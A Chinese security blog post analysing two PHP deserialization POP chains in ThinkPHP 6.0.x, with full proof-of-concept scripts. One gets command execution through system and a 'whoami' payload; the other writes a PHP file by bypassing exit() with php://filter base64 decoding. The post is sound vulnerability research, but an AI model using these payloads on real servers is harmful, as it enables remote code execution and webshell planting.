ThinkPHP 6.0.x反序列化(二)

继上一篇,接着复现一下其他链

环境搭建

跟上一篇一样

POP链1

全局搜索__destruct

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

$this->autosave = false,触发$this->save()方法

寻找AbstractCache继承类

AbstractCache为抽象类,不妨先全局搜索它的继承类

使用find usages查看哪些类继承了AbstractCache

/vendor/topthink/framework/src/think/filesystem/CacheStore.php中找到了CacheStore

并且实现了save方法

继续跟进,发现调用了getForStorage

跟进getForStorage方法

调用了$this->cleanContents方法,继续跟进

这个函数有点眼熟,貌似EIS easypop那题就用了这段代码,array_flip数组反转,array_intersect_key计算数组交集

回到getForStorage的json_encode,返回json格式数据后,再回到save方法最后的:

1
$this->store->set($this->key, $contents, $this->expire);

因为$this->store是可控的,我们可以调用任意类的set方法,如果这个指定的类不存在set方法,就有可能触发__call。当然也有可能本身的set方法就可以利用

这里有个File类可以利用

跟进set方法

跟进$this->serialize方法

发现$this->options['serialize'][0]参数可控,可以执行任意函数,参数为$data

回到set方法中,$data来源于$value,再回到CacheStore类,发现$value来源于$contents,即前面通过json_encode处理后的json格式数据

那么有什么可以利用的函数能处理json格式数据呢,发现system可以利用

由于shell中的`优先级高,所以会先执行``中的内容,再把执行结果拼接成一个新命令

但是实际上system函数是报错的,所以实际环境不一定会显示出执行后的报错信息

流程图

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 

namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "\"&whoami&";
}
}

namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;

public function __construct($store="")
{
$this->store = $store;
}
}
}

namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}

namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}

namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}

?>

这里测试本机环境是windows,所以反引号不具有优先执行命令的作用,因此我用了&符号,它的作用是&后面的命令无论如何都会执行

最后的效果:

例如安洵杯的题目环境下,没有回显报错信息,只能反弹shell:

POP链2

跟第一条链触发大致一样,到set方法中,如果我们不利用serialize来rce,后面还可以利用file_put_contents写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function set($name, $value, $expire = null): bool
{

$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
clearstatcache();
return true;
}

return false;
}

看着很眼熟,其实之前EIS ctf的ezpop就是从tp6改出来的,终于明白当时为什么那么多人秒了orz

1
$result = file_put_contents($filename, $data);

分别追踪$filename$data参数,$data参数的话,我们前面分析已知,可以通过$this->serialize方法,用指定的函数名来处理json格式数据,然后拼接到:

1
<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n

要绕过死亡exit,同样用php://filter伪协议来绕过

$filename参数则来源于$this->getCacheKey($name);

可控点有两处,一处是通过$this->options['hash_type']来指定hash函数的加密形式作为文件名$name

另一处是直接将$this->options['path']直接拼接到文件名前面

那么我们就指定:

1
2
$this->options['path'] = "php://filter/write=convert.base64-decode/resource=/var/www/html/public/tmp/";
$this->options['hash_type'] = "md5";

最后拼接成的$filename就为:

1
php://filter/write=convert.base64-decode/resource=/var/www/html/public/static/md5.php

剩下的,就是根据4个字符一组的规则来base64了

这里我传入的$this->options['expire'] = 1

根据:

1
2
3
4
5
<?php
$expire = 1;
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n";
$a = preg_replace('|[^a-z0-9A-Z+/]|s', '', $data);
var_dump($a);

得出前面的字符长度:string(21) "php//000000000001exit",然后随便凑3个字符填充前面的,后面想要的文件内容base64编码即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 

namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
}
}

namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;

public function __construct($store="")
{
$this->store = $store;
}
}
}

namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}

namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}

namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}

?>

实现效果:

实际应用中,注意指定路径可不可写的问题就行了

参考

https://www.anquanke.com/post/id/194036

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/03/ThinkPHP%206.0.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog